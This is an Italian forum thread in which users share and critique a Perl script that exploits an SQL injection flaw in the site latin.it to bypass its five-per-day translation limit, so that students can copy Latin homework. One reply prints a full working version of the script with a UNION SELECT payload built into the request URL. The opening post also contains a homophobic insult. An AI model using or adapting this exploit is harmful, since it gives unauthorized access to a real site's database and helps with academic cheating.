Latin.it bypass, una luce negli occhi degli studenti

Stato
Discussione chiusa ad ulteriori risposte.

plucky

Utente Silver
29 Luglio 2010
0
0
0
52
Se andate come me allo scientifico (o per lo meno ci siete stati) vi sarete accorti di che rottura di palle sia fare le versioni di latino. Fortunatamente esistono siti come latin.it che offrono delle traduzioni decenti e risparmiano un bel po' di lavoro. Il problema nasce quando questi siti mettono un limite di 5 brani visualizzabili al giorno limite non sostenibile per chi copia come si deve :)

http://pastebin.com/GSnfmTbE

Si, sto prendendo la buona abitudine di scrivere la documentazione di ogni cagata che faccio lol

P.S.
chi segnala è gay
 
plucky ha detto:
Se andate come me allo scientifico (o per lo meno ci siete stati) vi sarete accorti di che rottura di palle sia fare le versioni di latino. Fortunatamente esistono siti come latin.it che offrono delle traduzioni decenti e risparmiano un bel po' di lavoro. Il problema nasce quando questi siti mettono un limite di 5 brani visualizzabili al giorno limite non sostenibile per chi copia come si deve :)

http://pastebin.com/GSnfmTbE

Si, sto prendendo la buona abitudine di scrivere la documentazione di ogni cagata che faccio lol

P.S.
chi segnala è gay

uhm, a me nn danno mai + di 5 brani XD

@reddy: bah, post inutile ma ci può stare *****in questo caso*****
 
Non conosco il perl granché, ne approfisso per fare un paio di domande se non disturbo troppo.

Codice:
my $id              = $ARGV[0] || die 'perldoc ', $0, "\n";
Assumo che $0 è il nome dello script, e perldoc è abbastanza autoesplicativo. Come fa a funzionare questa riga? Non credo ci sia documentazione per questo script, visto che tra l'altro ognugno se lo salva come vuole, non è meglio fare un usage?

Un controllo su cos'è $id? Gli posso passare anche una stringa, e giustamente fallice.

Se per qualche motivo (tipo quello ↑) l'operazione fallisce, invece di printare sta roba
Codice:
Use of uninitialized value $titolo_versione in print at meteo.pl line 73.
Sarebbe più elegante avvertire l'utente dell'errore.

E ripeto, non conosco il perl, ma mi pare che le tre funzioni siano fortemente ridondanti. Non c'è biogno di fare tre funzioni, si può fare in molte meno linee di codice insomma. Già avrebbe più senso se lo script consentisse di richiedere solo cose specifiche, ma così non è (almeno credo, l'unica cosa che viene shiftata da ARGV è l'ID)

$pagina_html = get($pagina_buggata.$query);

molto bello questo, suppongo sia merito di LWP::Simple; ^^

E niente, ho capito il senso di perldoc (dovrebbe leggere i commenti alla fine?) comunque a me non funziona.

Con codice ridondante, intendevo questo:
http://sprunge.us/UaYK?pl
Codice:
#!/usr/bin/env perl

use strict;
use warnings;
use LWP::Simple;

# Thanks To: _mRkZ_ and shrod
my $versione        = '';
my @query_modifiers = qw(titolo versione traduzione);
my $id              = int($ARGV[0]) || die 'Usage: ', $0, 'ID versione';
my $pagina  = 'http://www.latin.it/versione/1';

sub parse_content {
    my @returns         = ();
    my $id              = shift;

    foreach my $i (0 .. $#query_modifiers) {
        push (@returns, 
            get ($pagina.'+union+all+select+1,2,3,'.$query_modifiers[$i].',5,6+from+versioni+where+id='.$id.'--'));
        $returns[$i] =~ m{left;">(.*?)<br>}xms;
        $returns[$i] = $1;
    }

    return @returns;
}

my @stuff = parse_content ($id) ;
print 'Titolo: ' . "\n" . $stuff[0]. "\n\n";
print 'Versione' . "\n" . $stuff[1]. "\n\n";
print 'Taduzione'. "\n" . $stuff[2]. "\n\n";

=head1 NAME

Latin.pl - Script per il bypass del limite su latin.it

=head1 SYNOPSIS

 perl latin.pl <id versione>

=head1 DESCRIPTION

Latin.it offre la visualizzazione di 5 versioni al giorno
decisamente insufficiente. Questo script sfrutta una vulnerabilita'
SQL Injection per ottenere la visualizzazione dei brani dal DB
aggirando ogni controllo.

=head1 AUTHOR

plucky

=head1 SEE ALSO

http://www.unitx.net

=cut

e ripeto che non conosco il perl, quindi non siate cattivi se ho commesso errori grossolani :p
 
[ot] mi spieghereste perché da unitx state invadendo questo forum? LOL [/ot]

[ot]oltrettuto c'ha ragione encoso là, presentati[/ot]
 
@tilde: lo script è così handicappato semplicemente perchè era nato per utilizzo personale e ho dimenticato di "dargli una sistemata" prima di postarlo :p.
Comunque tilde per quanto riguarda lo script che hai postato (visto che parlavi di errori grossolani)

1) Se viene lanciato senza parametri succede un gran pasticcio
2) foreach my $i (0 .. $#query_modifiers) dunque, premesso che confinare $i in quelo modo non è possibile nelle versioni < 5.004 vorrei aggiungere che il nome è poco chiaro, inoltre perchè utilizzare lo 0..$#query_modifiers quando puoi direttamente scrivere ( @query_modifiers )? Se proprio volevi utilizzare quel metodo almeno fai $query_modifiers[-1] in modo che sia più comprensibile e portabile
3) nemmeno funziona, perchè la query non è la stessa per tutti e tre i valori dato che sulla traduzione cambia il nome della tabella...

So, seguendo il tuo consiglio l'ho riscritto un po' meglio
http://pastebin.com/cy52f5MH

lol è venuto un po' lunghino perchè, fomentato dopo aver finito perl best practice, c'ho infilato dentro tutte le best practice che mi venivano in mente :siga:


@Malex: penso di aver il diritto di iscrivermi dove voglio
@Bronsa: lol sembri proprio un simpaticone
 
@plucky,
1) in realtà se viene lanciato senza parametri da errore, ed è un pasciccio molto minore che far proseguire lo script con i valori sbagliati come facevi tu :) comunque hai ragione, ma lì per lì non mi veniva in mente come poteva essere exists in perl, ora lo so, e quel metodo resta il più valido probabimlente, ovvia, non c'è bisogno di una regexp.
2) C'è un motivo se ho utilizzato quel metodo, basta che leggi una riga sotto. Gli altri ovvi metodi li conosco. Il nome non è poco chiaro, è conciso, scrivere variabili chilometriche non è mia abitudine, ma è questione di opinioni questo.
3) Già, non funziona perché non ho posto attenzione alla query, basta aggiungere un controllo e due righe e si corregge

Comunque, di nuovo, hai esteso le cose inutilmente, non c'è bisogno di due funzioni per una stringa che varia minimamente.... in genere quando due funzioni siano uguali c'è caso che siano due inutilmente.
 
tilde ha detto:
@plucky,
1) in realtà se viene lanciato senza parametri da errore, ed è un pasciccio molto minore che far proseguire lo script con i valori sbagliati come facevi tu :) comunque hai ragione, ma lì per lì non mi veniva in mente come poteva essere exists in perl, ora lo so, e quel metodo resta il più valido probabimlente, ovvia, non c'è bisogno di una regexp.

infatti ti ho detto che non vi erano controlli perchè era per utilizzo personale, in questa nuova versione li ho aggiunti.

2) C'è un motivo se ho utilizzato quel metodo, basta che leggi una riga sotto. Gli altri ovvi metodi li conosco. Il nome non è poco chiaro, è conciso, scrivere variabili chilometriche non è mia abitudine, ma è questione di opinioni questo.

ho letto, ma limita comunque la portabilità del codice però vabbè era solo un appunto non è sicuramente un problema troppo rilevante

3) Già, non funziona perché non ho posto attenzione alla query, basta aggiungere un controllo e due righe e si corregge

lol vabbè fatto stà che il l'utilizzo del for così 'pulito' (intendo senza condizioni o l'utilizzo di due variabili per le query) non è possibile

Comunque, di nuovo, hai esteso le cose inutilmente, non c'è bisogno di due funzioni per una stringa che varia minimamente.... in genere quando due funzioni siano uguali c'è caso che siano due inutilmente.

secondo te sono inutili? secondo me invece sono utili, tutto ciò che aiuta a far chiarezza nel sorgente secondo me è utile come scrivere un nome lungo ed esplicativo di una variabile o utilizzare una dispatch tables per gestire le funzioni, o ancora utilizzare due funzioni distinte per l'accesso ad ogni tabella in modo che sia perfettamente chiaro cosa si sta facendo, a quale tabella si stia accedendo (grazie ad esempio alla nomenclatura delle subroutines)
 
plucky ha detto:
@tilde: lo script è così handicappato semplicemente perchè era nato per utilizzo personale e ho dimenticato di "dargli una sistemata" prima di postarlo :p.
Comunque tilde per quanto riguarda lo script che hai postato (visto che parlavi di errori grossolani)

1) Se viene lanciato senza parametri succede un gran pasticcio
2) foreach my $i (0 .. $#query_modifiers) dunque, premesso che confinare $i in quelo modo non è possibile nelle versioni < 5.004 vorrei aggiungere che il nome è poco chiaro, inoltre perchè utilizzare lo 0..$#query_modifiers quando puoi direttamente scrivere ( @query_modifiers )? Se proprio volevi utilizzare quel metodo almeno fai $query_modifiers[-1] in modo che sia più comprensibile e portabile
3) nemmeno funziona, perchè la query non è la stessa per tutti e tre i valori dato che sulla traduzione cambia il nome della tabella...

So, seguendo il tuo consiglio l'ho riscritto un po' meglio
http://pastebin.com/cy52f5MH

lol è venuto un po' lunghino perchè, fomentato dopo aver finito perl best practice, c'ho infilato dentro tutte le best practice che mi venivano in mente :siga:


@Malex: penso di aver il diritto di iscrivermi dove voglio
@Bronsa: lol sembri proprio un simpaticone

lo sono.
 
Stato
Discussione chiusa ad ulteriori risposte.